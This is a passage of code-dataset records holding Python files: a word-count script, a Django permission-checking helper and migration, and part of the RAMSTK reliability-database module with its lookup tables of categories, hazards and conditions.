image[:,:,0]\n comp = comp_img(new_image, mask, background)\n\n if_write = True\n if if_write == True:\n cv2.imwrite(os.path.join(new_image_dir,img_patch_name),comp)\n","sub_path":"generate_new_dataset_origin_mask.py","file_name":"generate_new_dataset_origin_mask.py","file_ext":"py","file_size_in_byte":6460,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"510802936","text":"#!/usr/bin/env python\n\"\"\"\ncount_words.py: count the number of words for each item in a corpus\n\"\"\"\n\nimport argparse\nimport csv\nimport io\nimport logging\nimport re\nimport sys\n\nimport quantgov\n\nfrom pathlib import Path\n\nENCODE_IN = 'utf-8'\nENCODE_OUT = 'utf-8'\n\nWORD_REGEX = re.compile(r'\\b\\w+\\b')\n\nlog = logging.getLogger(Path(__file__).stem)\n\n\ndef parse_args():\n \"\"\"Parse command line arguments.\"\"\"\n parser = argparse.ArgumentParser(description=__doc__)\n parser.add_argument('driver', type=Path)\n parser.add_argument('-o', '--outfile',\n type=lambda x: open(\n x, 'w', encoding=ENCODE_OUT, newline=''),\n default=io.TextIOWrapper(\n sys.stdout.buffer, encoding=ENCODE_OUT)\n )\n verbosity = parser.add_mutually_exclusive_group()\n verbosity.add_argument('-v', '--verbose', action='store_const',\n const=logging.DEBUG, default=logging.INFO)\n verbosity.add_argument('-q', '--quiet', dest='verbose',\n action='store_const', const=logging.WARNING)\n return parser.parse_args()\n\n\ndef count_words(doc):\n return doc.index, len(WORD_REGEX.findall(doc.text))\n\n\ndef main():\n args = parse_args()\n logging.basicConfig(level=args.verbose)\n driver = quantgov.load_driver(args.driver)\n writer = csv.writer(args.outfile)\n writer.writerow(driver.index_labels + ('words',))\n for docindex, count in quantgov.utils.lazy_parallel(\n count_words, driver.stream(), worker='thread'):\n writer.writerow(docindex + (count,))\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"scripts/count_words.py","file_name":"count_words.py","file_ext":"py","file_size_in_byte":1663,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"524707463","text":"from functools import wraps\nimport os\nimport logging\nfrom smitty.apps.console.models import Server, Permission\nfrom smitty.apps.core.models import Player\n\nlogger = logging.getLogger(\"authority\")\nread_logger = logging.getLogger(\"read_authority\")\n\n\nclass Actions(object):\n\tREAD = \"READ\"\n\tSTART = \"START\"\n\tSTOP = \"STOP\"\n\tREBOOT = \"REBOOT\"\n\tADD_MOD = \"ADD_MOD\"\n\tDEL_MOD = \"DEL_MOD\"\n\tCREATE_MOD = \"CREATE_MOD\"\n\tEDIT_SETTING = \"EDIT_SETTING\"\n\tADD_PERMISSION = \"ADD_PERMISSION\"\n\tDEL_PERMISSION = \"DEL_PERMISSION\"\n\tCREATE_SERVER = \"CREATE_SERVER\"\n\tCREATE_BACKUP = \"CREATE_BACKUP\"\n\n\ndef validate(user, resource, action, system_check=False):\n\n\tresult = {'user': \"__Anonymous\", 'action_level': action, 'resource': resource, 'message': None, 'allowed': False}\n\n\tif user.is_authenticated:\n\t\tresult['user'] = user.username\n\t\tplayers = Player.objects.filter(user=user)\n\t\tif len(players) == 1:\n\t\t\tpermissions = Permission.objects.filter(player=players[0])\n\t\t\tfor permission in permissions:\n\t\t\t\tif \"*\" in permission.resources or resource in permission.resources:\n\t\t\t\t\tif \"*\" in permission.actions or action in permission.actions:\n\t\t\t\t\t\tif verify_owned_resource(resource):\n\n\t\t\t\t\t\t\t#Determine effect to apply\n\t\t\t\t\t\t\tif permission.effect == \"allow\":\n\t\t\t\t\t\t\t\tresult['allowed'] = True\n\t\t\t\t\t\t\t\tresult['message'] = 'Access Granted'\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tresult['allowed'] = False\n\t\t\t\t\t\t\t\tresult['message'] = 'Explicit Deny'\n\t\t\t\t\t\t\t\tif not system_check:\n\t\t\t\t\t\t\t\t\tif action == Actions.READ:\n\t\t\t\t\t\t\t\t\t\tread_logger.info(result)\n\t\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t\tlogger.info(result)\n\t\t\t\t\t\t\t\treturn False\n\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tresult['message'] = \"HACKING ATTEMPT: '{}' does not belong to this website\".format(resource)\n\t\telse:\n\t\t\tresult['message'] = \"More than 1 /None player found\"\n\n\tif not system_check:\n\t\tif action == Actions.READ:\n\t\t\tread_logger.info(result)\n\t\telse:\n\t\t\tlogger.info(result)\n\n\treturn result['allowed']\n\n\ndef verify_owned_resource(resource_id):\n\tservers = Server.objects.all()\n\n\tfor server in servers:\n\t\tif server.aws_id == resource_id:\n\t\t\treturn True\n\treturn False\n","sub_path":"libs/decorators.py","file_name":"decorators.py","file_ext":"py","file_size_in_byte":2052,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"640362031","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('users', '0004_collection_description'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='TalksUserCollection',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('role', models.TextField(default=b'owner', choices=[(b'owner', b'Owner'), (b'editor', b'Collaborator'), (b'reader', b'Viewer')])),\n ('collection', models.ForeignKey(to='users.Collection')),\n ('user', models.ForeignKey(to='users.TalksUser')),\n ],\n options={\n },\n bases=(models.Model,),\n ),\n migrations.AlterUniqueTogether(\n name='collectionfollow',\n unique_together=None,\n ),\n migrations.RemoveField(\n model_name='collectionfollow',\n name='collection',\n ),\n migrations.RemoveField(\n model_name='collectionfollow',\n name='user',\n ),\n migrations.DeleteModel(\n name='CollectionFollow',\n ),\n migrations.AddField(\n model_name='talksuser',\n name='collections',\n field=models.ManyToManyField(to='users.Collection', through='users.TalksUserCollection', blank=True),\n preserve_default=True,\n ),\n ]\n","sub_path":"talks/users/migrations/0005_auto_20150728_1338.py","file_name":"0005_auto_20150728_1338.py","file_ext":"py","file_size_in_byte":1533,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"363957543","text":"# type: ignore\n# -*- coding: utf-8 -*-\n#\n# ramstk.db.common.py is part of The RAMSTK Project\n#\n# All rights reserved.\n# Copyright 2019 Doyle Rowland doyle.rowland <AT> reliaqual <DOT> com\n\"\"\"RAMSTK Common Database Module.\"\"\"\n\n# Standard Library Imports\nimport gettext\nimport os\nfrom datetime import date, datetime, timedelta\nfrom typing import Dict, Tuple\n\n# Third Party Imports\nfrom pubsub import pub\nfrom sqlalchemy import exc\nfrom sqlalchemy.engine import Engine\nfrom sqlalchemy.orm import scoped_session\n\n# RAMSTK Package Imports\nfrom ramstk.configuration import RAMSTKUserConfiguration\nfrom ramstk.db.base import BaseDatabase\nfrom ramstk.models.commondb import (\n RAMSTKRPN, RAMSTKCategory, RAMSTKCondition, RAMSTKFailureMode, RAMSTKGroup,\n RAMSTKHazards, RAMSTKLoadHistory, RAMSTKManufacturer, RAMSTKMeasurement,\n RAMSTKMethod, RAMSTKModel, RAMSTKSiteInfo, RAMSTKStakeholders,\n RAMSTKStatus, RAMSTKSubCategory, RAMSTKType, RAMSTKUser\n)\n\n_ = gettext.gettext\n\nRAMSTK_CATEGORIES = {\n 0: ('IC', 'Integrated Circuit', 'hardware', 1, 0.8, 0.9, 1.0, 1.0, 1.0,\n 1.0, 0.0, 0.0, 125.0, 125.0),\n 1: ('SEMI', 'Semiconductor', 'hardware', 1, 1.0, 1.0, 0.7, 0.9, 1.0, 1.0,\n 0.0, 0.0, 125.0, 125.0),\n 2: ('RES', 'Resistor', 'hardware', 1, 1.0, 1.0, 0.5, 0.9, 1.0, 1.0, 0.0,\n 0.0, 125.0, 125.0),\n 3: ('CAP', 'Capacitor', 'hardware', 1, 1.0, 1.0, 1.0, 1.0, 0.6, 0.9, 10.0,\n 0.0, 125.0, 125.0),\n 4: ('IND', 'Inductive Device', 'hardware', 1, 0.6, 0.9, 1.0, 1.0, 0.5, 0.9,\n 15.0, 0.0, 125.0, 125.0),\n 5: ('REL', 'Relay', 'hardware', 1, 0.75, 0.9, 1.0, 1.0, 1.0, 1.0, 0.0, 0.0,\n 125.0, 125.0),\n 6: ('SW', 'Switching Device', 'hardware', 1, 0.75, 0.9, 1.0, 1.0, 1.0, 1.0,\n 0.0, 0.0, 125.0, 125.0),\n 7: ('CONN', 'Connection', 'hardware', 1, 0.7, 0.9, 1.0, 1.0, 0.7, 0.9,\n 25.0, 0.0, 125.0, 125.0),\n 8: ('MET', 'Meter', 'hardware', 1, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 0.0, 0.0,\n 125.0, 125.0),\n 9: ('MISC', 'Miscellaneous', 'hardware', 1, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0,\n 0.0, 0.0, 125.0, 125.0),\n 10: ('INS', 'Insignificant', 'risk', 1, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 0.0,\n 0.0, 0.0, 0.0),\n 11: ('SLT', 'Slight', 'risk', 2, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 0.0, 0.0,\n 0.0, 0.0),\n 12: ('LOW', 'Low', 'risk', 3, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 0.0, 0.0, 0.0,\n 0.0),\n 13: ('MED', 'Medium', 'risk', 4, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 0.0, 0.0,\n 0.0, 0.0),\n 14: ('HI', 'High', 'risk', 5, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 0.0, 0.0, 0.0,\n 0.0),\n 15: ('MAJ', 'Major', 'risk', 6, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 0.0, 0.0,\n 0.0, 0.0),\n 16: ('Batch (General)',\n 'Can be run as a normal batch job and makes no unusual '\n 'hardware or input-output actions (e.g., payroll '\n 'program and wind tunnel data analysis program). '\n 'Small, throwaway programs for preliminary analysis '\n 'also fit in this category.', 'software', 1, 1.0, 1.0, 1.0, 1.0, 1.0,\n 1.0, 0.0, 0.0, 0.0, 0.0),\n 17: ('Event Control', 'Does realtime processing of data resulting from '\n 'external events. An example might be a computer '\n 'program that processes telemetry data.', 'software', 1, 1.0, 1.0,\n 1.0, 1.0, 1.0, 1.0, 0.0, 0.0, 0.0, 0.0),\n 18: ('Process Control', 'Receives data from an external source and issues '\n 'commands to that source to control its actions '\n 'based on the received data.', 'software', 1, 1.0, 1.0, 1.0, 1.0, 1.0,\n 1.0, 0.0, 0.0, 0.0, 0.0),\n 19:\n ('Procedure Control', 'Controls other software; for example, an operating '\n 'system that controls execution of time-shared and '\n 'batch computer programs.', 'software', 1, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0,\n 0.0, 0.0, 0.0, 0.0),\n 20: ('Navigation', 'Does computation and modeling to computer '\n 'information required to guide an airplane from '\n 'point of origin to destination.', 'software', 1, 1.0, 1.0, 1.0, 1.0,\n 1.0, 1.0, 0.0, 0.0, 0.0, 0.0),\n 21:\n ('Flight Dynamics', 'Uses the functions computed by navigation software '\n 'and augmented by control theory to control the '\n 'entire flight of an aircraft.', 'software', 1, 1.0, 1.0, 1.0, 1.0, 1.0,\n 1.0, 0.0, 0.0, 0.0, 0.0),\n 22:\n ('Orbital Dynamics', 'Resembles navigation and flight dynamics software, '\n 'but has the additional complexity required by '\n 'orbital navigation, such as a more complex '\n 'reference system and the inclusion of '\n 'gravitational effects of other heavenly bodies.', 'software', 1, 1.0,\n 1.0, 1.0, 1.0, 1.0, 1.0, 0.0, 0.0, 0.0, 0.0),\n 23: ('Message Processing',\n 'Handles input and output mnessages. processing the '\n 'text or information contained therein.', 'software', 1, 1.0, 1.0,\n 1.0, 1.0, 1.0, 1.0, 0.0, 0.0, 0.0, 0.0),\n 24: ('Diagnostic Software',\n 'Used to detect and isolate hardware errors in the '\n 'computer in which it resides or in other hardware '\n 'that can communicate with the computer.', 'software', 1, 1.0, 1.0,\n 1.0, 1.0, 1.0, 1.0, 0.0, 0.0, 0.0, 0.0),\n 25: ('Sensor and Signal Processing',\n 'Similar to that of message processing, except that '\n 'it required greater processing, analyzing, and '\n 'transforming the input into a usable data '\n 'processing format.', 'software', 1, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0,\n 0.0, 0.0, 0.0, 0.0),\n 26: ('Simulation', 'Used to simulate and environment ieseion '\n 'situation. other heavradlwuaatrieo,n aonfd a '\n 'icnopmutps uftreo mpr otghreasme nt o enable a '\n 'more realistic or a piece of hardware.', 'software', 1, 1.0, 1.0,\n 1.0, 1.0, 1.0, 1.0, 0.0, 0.0, 0.0, 0.0),\n 27: ('Database Management', 'Manages the storage and access of (typically '\n 'large) groups of data. Such software can also '\n 'often prepare reports in user-defined formats, '\n 'based on the contents of the database.', 'software', 1, 1.0, 1.0,\n 1.0, 1.0, 1.0, 1.0, 0.0, 0.0, 0.0, 0.0),\n 28:\n ('Data Acquisition', 'Receives information in real-time and stores it in '\n 'some form suitable format for later processing, '\n 'for example, software that receives data from a '\n 'space probe ,and files.', 'software', 1, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0,\n 0.0, 0.0, 0.0, 0.0),\n 29: ('Data Presentation', 'Formats and transforms data, as necessary, for '\n 'convenient and understandable displays for '\n 'humans. Typically, such displays would be for '\n 'some screen presentation.', 'software', 1, 1.0, 1.0, 1.0, 1.0, 1.0,\n 1.0, 0.0, 0.0, 0.0, 0.0),\n 30: ('Decision and Planning Aids',\n 'Uses artificial intelligence techniques to provide '\n 'an expert system to evaluate data and provide '\n 'additional information and consideration for '\n 'decision and policy makers.', 'software', 1, 1.0, 1.0, 1.0, 1.0, 1.0,\n 1.0, 0.0, 0.0, 0.0, 0.0),\n 31:\n ('Pattern and Image Processing', 'Used for computer image generation and '\n 'processing. Such software may analyze terrain '\n 'data and generate images based on stored data.', 'software', 1, 1.0, 1.0,\n 1.0, 1.0, 1.0, 1.0, 0.0, 0.0, 0.0, 0.0),\n 32: ('Computer System Software',\n 'Provides services to operational computer '\n 'programs (i.e., problem oriented).', 'software', 1, 1.0, 1.0, 1.0,\n 1.0, 1.0, 1.0, 0.0, 0.0, 0.0, 0.0),\n 33: ('Software Development Tools',\n 'Provides services to aid in the development of '\n 'software (e.g., compilers, assemblers, static and '\n 'dynamic analyzers).', 'software', 1, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0,\n 0.0, 0.0, 0.0, 0.0),\n 34: ('HW', 'Hardware', 'incident', 1, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 0.0,\n 0.0, 0.0, 0.0),\n 35: ('SW', 'Software', 'incident', 1, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 0.0,\n 0.0, 0.0, 0.0),\n 36: ('PROC', 'Process', 'incident', 1, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 0.0,\n 0.0, 0.0, 0.0),\n 37: ('ENGD', 'Engineering, Design', 'action', 1, 1.0, 1.0, 1.0, 1.0, 1.0,\n 1.0, 0.0, 0.0, 0.0, 0.0),\n 38: ('ENGR', 'Engineering, Reliability', 'action', 1, 1.0, 1.0, 1.0, 1.0,\n 1.0, 1.0, 0.0, 0.0, 0.0, 0.0),\n 39: ('ENGS', 'Engineering, Systems', 'action', 1, 1.0, 1.0, 1.0, 1.0, 1.0,\n 1.0, 0.0, 0.0, 0.0, 0.0),\n 40: ('MAN', 'Manufacturing', 'action', 1, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0,\n 0.0, 0.0, 0.0, 0.0),\n 41: ('TEST', 'Test', 'action', 1, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 0.0, 0.0,\n 0.0, 0.0),\n 42: ('VANDV', 'Verification & Validation', 'action', 1, 1.0, 1.0, 1.0, 1.0,\n 1.0, 1.0, 0.0, 0.0, 0.0, 0.0)\n}\n\nRAMSTK_CONDITIONS = {\n 0: ('Cavitation', 'operating'),\n 1: ('Cold Start', 'operating'),\n 2: ('Contaminated Oil', 'operating'),\n 3: ('Cyclic Loading, Low Cycle', 'operating'),\n 4: ('Cyclic Loading, High Cycle', 'operating'),\n 5: ('Emergency Stop', 'operating'),\n 6: ('Full Load', 'operating'),\n 7: ('High Idle', 'operating'),\n 8: ('Hot Shutdown', 'operating'),\n 9: ('Idle', 'operating'),\n 10: ('Low End Torque', 'operating'),\n 11: ('Mechanical Shock', 'operating'),\n 12: ('Oil Pressure Fluctuations', 'operating'),\n 13: ('Overload', 'operating'),\n 14: ('Overspeed', 'operating'),\n 15: ('Pressure Pulsations', 'operating'),\n 16: ('Short Term Overload', 'operating'),\n 17: ('Start-Stop', 'operating'),\n 18: ('System Cool Down', 'operating'),\n 19: ('System Warm Up', 'operating'),\n 20: ('Thermal Cycling', 'operating'),\n 21: ('Vibration', 'operating'),\n 22: ('Abrasion', 'environmental'),\n 23: ('Acceleration', 'environmental'),\n 24: ('Corona', 'environmental'),\n 25: ('Contamination, Chemicals', 'environmental'),\n 26: ('Contamination, Dirt/Dust', 'environmental'),\n 27: ('Contamination, Salt Spray', 'environmental'),\n 28: ('Electrostatic Discharge', 'environmental'),\n 29: ('Fungus', 'environmental'),\n 30: ('Gas, Ionized', 'environmental'),\n 31: ('Geomagnetics', 'environmental'),\n 32: ('Humidity', 'environmental'),\n 33: ('Ozone', 'environmental'),\n 34: ('Pressure, Atmospheric', 'environmental'),\n 35: ('Pressure', 'environmental'),\n 36: ('Radiation, Alpha', 'environmental'),\n 37: ('Radiation, Electromagnetic', 'environmental'),\n 38: ('Radiation, Gamma', 'environmental'),\n 39: ('Radiation, Neutron', 'environmental'),\n 40: ('Radiation, Solar', 'environmental'),\n 41: ('Shock, Mechanical', 'environmental'),\n 42: ('Shock, Thermal', 'environmental'),\n 43: ('Temperature', 'environmental'),\n 44: ('Thermal Cycles', 'environmental'),\n 45: ('Vibration, Acoustic', 'environmental'),\n 46: ('Vibration, Mechanical', 'environmental'),\n 47: ('Weather, Fog', 'environmental'),\n 48: ('Weather, Freezing Rain', 'environmental'),\n 49: ('Weather, Frost', 'environmental'),\n 50: ('Weather, Hail', 'environmental'),\n 51: ('Weather, Ice', 'environmental'),\n 52: ('Weather, Rain', 'environmental'),\n 53: ('Weather, Sleet', 'environmental'),\n 54: ('Weather, Snow', 'environmental'),\n 55: ('Weather, Wind', 'environmental')\n}\n\nRAMSTK_GROUPS = {\n 1: ('RAMSTK Administrator', 'workgroup'),\n 2: ('Engineering, Design', 'workgroup'),\n 3: ('Engineering, Logistics Support', 'workgroup'),\n 4: ('Engineering, Maintainability', 'workgroup'),\n 5: ('Engineering, Reliability', 'workgroup'),\n 6: ('Engineering, Safety', 'workgroup'),\n 7: ('Engineering, Software', 'workgroup'),\n 8: ('Reliability', 'affinity'),\n 9: ('Durability', 'affinity'),\n 10: ('Cost', 'affinity')\n}\n\nRAMSTK_FAILURE_MODES = {\n 3: {\n 25: {\n 1: ['Open', 0.5, 'FMD-97'],\n 2: ['Short', 0.3, 'FMD-97'],\n 3: ['Parameter Change', 0.2, 'FMD-97']\n }\n }\n}\n\nRAMSTK_HAZARDS = {\n 0: ('Acceleration/Gravity', 'Falls'),\n 1: ('Acceleration/Gravity', 'Falling Objects'),\n 3: ('Acceleration/Gravity', 'Fragments/Missiles'),\n 4: ('Acceleration/Gravity', 'Impacts'),\n 5: ('Acceleration/Gravity', 'Inadvertent Motion'),\n 6: ('Acceleration/Gravity', 'Loose Object Translation'),\n 7: ('Acceleration/Gravity', 'Slip/Trip'),\n 8: ('Acceleration/Gravity', 'Sloshing Liquids'),\n 9: ('Chemical/Water Contamination', 'Backflow/Siphon Effect'),\n 10: ('Chemical/Water Contamination', 'Leaks/Spills'),\n 11: ('Chemical/Water Contamination', 'System-Cross Connection'),\n 12: ('Chemical/Water Contamination', 'Vessel/Pipe/Conduit Rupture'),\n 13: ('Common Causes', 'Dust/Dirt'),\n 14: ('Common Causes', 'Faulty Calibration'),\n 15: ('Common Causes', 'Fire'),\n 16: ('Common Causes', 'Flooding'),\n 17: ('Common Causes', 'Location'),\n 18: ('Common Causes', 'Maintenance Error'),\n 19: ('Common Causes', 'Moisture/Humidity'),\n 20: ('Common Causes', 'Radiation'),\n 21: ('Common Causes', 'Seismic Disturbance/Impact'),\n 22: ('Common Causes', 'Single-Operator Coupling'),\n 23: ('Common Causes', 'Temperature Extremes'),\n 24: ('Common Causes', 'Utility Outages'),\n 25: ('Common Causes', 'Vibration'),\n 26: ('Common Causes', 'Wear-Out'),\n 27: ('Common Causes', 'Vermin/Insects'),\n 28: ('Contingencies', 'Earthquake'),\n 29: ('Contingencies', 'Fire'),\n 30: ('Contingencies', 'Flooding'),\n 31: ('Contingencies', 'Freezing'),\n 32: ('Contingencies', 'Hailstorm'),\n 33: ('Contingencies', 'Shutdowns/Failures'),\n 34: ('Contingencies', 'Snow/Ice Load'),\n 35: ('Contingencies', 'Utility Outages'),\n 36: ('Contingencies', 'Windstorm'),\n 37: ('Control Systems', 'Grounding Failure'),\n 38: ('Control Systems', 'Inadvertent Activation'),\n 39: ('Control Systems', 'Interferences (EMI/ESI)'),\n 40: ('Control Systems', 'Lightning Strike'),\n 41: ('Control Systems', 'Moisture'),\n 42: ('Control Systems', 'Power Outage'),\n 43: ('Control Systems', 'Sneak Circuit'),\n 44: ('Control Systems', 'Sneak Software'),\n 45: ('Electrical', 'Burns'),\n 46: ('Electrical', 'Distribution Feedback'),\n 47: ('Electrical', 'Explosion (Arc)'),\n 48: ('Electrical', 'Explosion (Electrostatic)'),\n 49: ('Electrical', 'Overheating'),\n 50: ('Electrical', 'Power Outage'),\n 51: ('Electrical', 'Shock'),\n 52: ('Ergonomics', 'Fatigue'),\n 53: ('Ergonomics', 'Faulty/Inadequate Control/Readout Labeling'),\n 54: ('Ergonomics', 'Faulty Work Station Design'),\n 55: ('Ergonomics', 'Glare'),\n 56: ('Ergonomics', 'Inaccessibility'),\n 57: ('Ergonomics', 'Inadequate Control/Readout Differentiation'),\n 58: ('Ergonomics', 'Inadequate/Improper Illumination'),\n 59: ('Ergonomics', 'Inappropriate Control/Readout Location'),\n 60: ('Ergonomics', 'Nonexistent/Inadequate Kill Switches'),\n 61: ('Explosive Conditions', 'Explosive Dust Present'),\n 62: ('Explosive Conditions', 'Explosive Gas Present'),\n 63: ('Explosive Conditions', 'Explosive Liquid Present'),\n 64: ('Explosive Conditions', 'Explosive Propellant Present'),\n 65: ('Explosive Conditions', 'Explosive Vapor Present'),\n 66: ('Explosive Effects', 'Blast Overpressure'),\n 67: ('Explosive Effects', 'Mass Fire'),\n 68: ('Explosive Effects', 'Seismic Ground Wave'),\n 69: ('Explosive Effects', 'Thrown Fragments'),\n 70: ('Explosive Initiator', 'Chemical Contamination'),\n 71: ('Explosive Initiator', 'Electrostatic Discharge'),\n 72: ('Explosive Initiator', 'Friction'),\n 73: ('Explosive Initiator', 'Heat'),\n 74: ('Explosive Initiator', 'Impact/Shock'),\n 75: ('Explosive Initiator', 'Lightning'),\n 76: ('Explosive Initiator', 'Vibration'),\n 77: ('Explosive Initiator', 'Welding (Stray Current/Sparks)'),\n 78: ('Fire/Flammability', 'Fuel'),\n 79: ('Fire/Flammability', 'Ignition Source'),\n 80: ('Fire/Flammability', 'Oxidizer'),\n 81: ('Fire/Flammability', 'Propellant'),\n 82: ('Human Factors', 'Failure to Operate'),\n 83: ('Human Factors', 'Inadvertent Operation'),\n 84: ('Human Factors', 'Operated Too Long'),\n 85: ('Human Factors', 'Operated Too Briefly'),\n 86: ('Human Factors', 'Operation Early/Late'),\n 87: ('Human Factors', 'Operation Out of Sequence'),\n 88: ('Human Factors', 'Operator Error'),\n 89: ('Human Factors', 'Right Operation/Wrong Control'),\n 90: ('Ionizing Radiation', 'Alpha'),\n 91: ('Ionizing Radiation', 'Beta'),\n 92: ('Ionizing Radiation', 'Gamma'),\n 93: ('Ionizing Radiation', 'Neutron'),\n 94: ('Ionizing Radiation', 'X-Ray'),\n 95: ('Leaks/Spills', 'Asphyxiating'),\n 96: ('Leaks/Spills', 'Corrosive'),\n 97: ('Leaks/Spills', 'Flammable'),\n 98: ('Leaks/Spills', 'Flooding'),\n 99: ('Leaks/Spills', 'Gases/Vapors'),\n 100: ('Leaks/Spills', 'Irritating Dusts'),\n 101: ('Leaks/Spills', 'Liquids/Cryogens'),\n 102: ('Leaks/Spills', 'Odorous'),\n 103: ('Leaks/Spills', 'Pathogenic'),\n 104: ('Leaks/Spills', 'Radiation Sources'),\n 105: ('Leaks/Spills', 'Reactive'),\n 106: ('Leaks/Spills', 'Run Off'),\n 107: ('Leaks/Spills', 'Slippery'),\n 108: ('Leaks/Spills', 'Toxic'),\n 109: ('Leaks/Spills', 'Vapor Propagation'),\n 110: ('Mechanical', 'Crushing Surfaces'),\n 111: ('Mechanical', 'Ejected Parts/Fragments'),\n 112: ('Mechanical', 'Lifting Weights'),\n 113: ('Mechanical', 'Pinch Points'),\n 114: ('Mechanical', 'Reciprocating Equipment'),\n 115: ('Mechanical', 'Rotating Equipment'),\n 116: ('Mechanical', 'Sharp Edges/Points'),\n 117: ('Mechanical', 'Stability/Topping Potential'),\n 118: ('Mission Phasing', 'Activation'),\n 119: ('Mission Phasing', 'Calibration'),\n 120: ('Mission Phasing', 'Checkout'),\n 121: ('Mission Phasing', 'Coupling/Uncoupling'),\n 122: ('Mission Phasing', 'Delivery'),\n 123: ('Mission Phasing', 'Diagnosis/Trouble Shooting'),\n 124: ('Mission Phasing', 'Emergency Start'),\n 125: ('Mission Phasing', 'Installation'),\n 126: ('Mission Phasing', 'Load Change'),\n 127: ('Mission Phasing', 'Maintenance'),\n 128: ('Mission Phasing', 'Normal Operation'),\n 129: ('Mission Phasing', 'Shake Down'),\n 130: ('Mission Phasing', 'Shutdown Emergency'),\n 131: ('Mission Phasing', 'Standard Shutdown'),\n 132: ('Mission Phasing', 'Standard Start'),\n 133: ('Mission Phasing', 'Stressed Operation'),\n 134: ('Mission Phasing', 'Transport'),\n 135: ('Nonionizing Radiation', 'Infrared'),\n 136: ('Nonionizing Radiation', 'Laser'),\n 137: ('Nonionizing Radiation', 'Microwave'),\n 138: ('Nonionizing Radiation', 'Ultraviolet'),\n 139: ('Physiological', 'Allergens'),\n 140: ('Physiological', 'Asphyxiants'),\n 141: ('Physiological', 'Baropressure Extremes'),\n 142: ('Physiological', 'Carcinogens'),\n 143: ('Physiological', 'Cryogens'),\n 144: ('Physiological', 'Fatigue'),\n 145: ('Physiological', 'Irritants'),\n 146: ('Physiological', 'Lifted Weights'),\n 147: ('Physiological', 'Mutagens'),\n 148: ('Physiological', 'Noise'),\n 149: ('Physiological', 'Nuisance Dust/Odors'),\n 150: ('Physiological', 'Pathogens'),\n 151: ('Physiological', 'Temperature Extremes'),\n 152: ('Physiological', 'Teratogens'),\n 153: ('Physiological', 'Toxins'),\n 154: ('Physiological', \"Vibration (Raynaud's Syndrome)\"),\n 155: ('Pneumatic/Hydraulic', 'Backflow'),\n 156: ('Pneumatic/Hydraulic', 'Blown Objects'),\n 157: ('Pneumatic/Hydraulic', 'Crossflow'),\n 158: ('Pneumatic/Hydraulic', 'Dynamic Pressure Loading'),\n 159: ('Pneumatic/Hydraulic', 'Hydraulic Ram'),\n 160: ('Pneumatic/Hydraulic', 'Implosion'),\n 161: ('Pneumatic/Hydraulic', 'Inadvertent Release'),\n 162: ('Pneumatic/Hydraulic', 'Miscalibrated Relief Device'),\n 163: ('Pneumatic/Hydraulic', 'Mislocated Relief Device'),\n 164: ('Pneumatic/Hydraulic', 'Overpressurization'),\n 165: ('Pneumatic/Hydraulic', 'Pipe/Hose Whip'),\n 166: ('Pneumatic/Hydraulic', 'Pipe/Vessel/Duct Rupture'),\n 167: ('Pneumatic/Hydraulic', 'Relief Pressure Improperly Set'),\n 168: ('Thermal', 'Altered Structural Properties (e.g., '\n 'Embrittlement)'),\n 169: ('Thermal', 'Confined Gas/Liquid'),\n 170: ('Thermal', 'Elevated Flammability'),\n 171: ('Thermal', 'Elevated Reactivity'),\n 172: ('Thermal', 'Elevated Volatility'),\n 173: ('Thermal', 'Freezing'),\n 174: ('Thermal', 'Heat Source/Sink'),\n 175: ('Thermal', 'Hot/Cold Surface Burns'),\n 176: ('Thermal', 'Humidity/Moisture'),\n 177: ('Thermal', 'Pressure Evaluation'),\n 178: ('Unannunciated Utility Outages', 'Air Conditioning'),\n 179: ('Unannunciated Utility Outages', 'Compressed Air/Gas'),\n 180: ('Unannunciated Utility Outages', 'Electricity'),\n 181: ('Unannunciated Utility Outages', 'Exhaust'),\n 182: ('Unannunciated Utility Outages', 'Fuel'),\n 183: ('Unannunciated Utility Outages', 'Heating/Cooling'),\n 184: ('Unannunciated Utility Outages', 'Lubrication Drains/Sumps'),\n 185: ('Unannunciated Utility Outages', 'Steam'),\n 186: ('Unannunciated Utility Outages', 'Ventilation')\n}\n\nRAMSTK_HISTORIES = {\n 0: 'Cycle Counts',\n 1: 'Histogram',\n 2: 'Histogram, Bivariate',\n 3: 'Level Crossing',\n 4: 'Rain Flow Count',\n 5: 'Time at Level',\n 6: 'Time at Load',\n 7: 'Time at Maximum',\n 8: 'Time at Minimum'\n}\n\nRAMSTK_MANUFACTURERS = {\n 0: ('Sprague', 'New Hampshire', '13606'),\n 1: ('Xilinx', '', ''),\n 2: ('National Semiconductor', 'California', '27014')\n}\n\nRAMSTK_MEASUREMENTS = {\n 0: ('lbf', 'Pounds Force', 'unit'),\n 1: ('lbm', 'Pounds Mass', 'unit'),\n 2: ('hrs', 'hours', 'unit'),\n 3: ('N', 'Newtons', 'unit'),\n 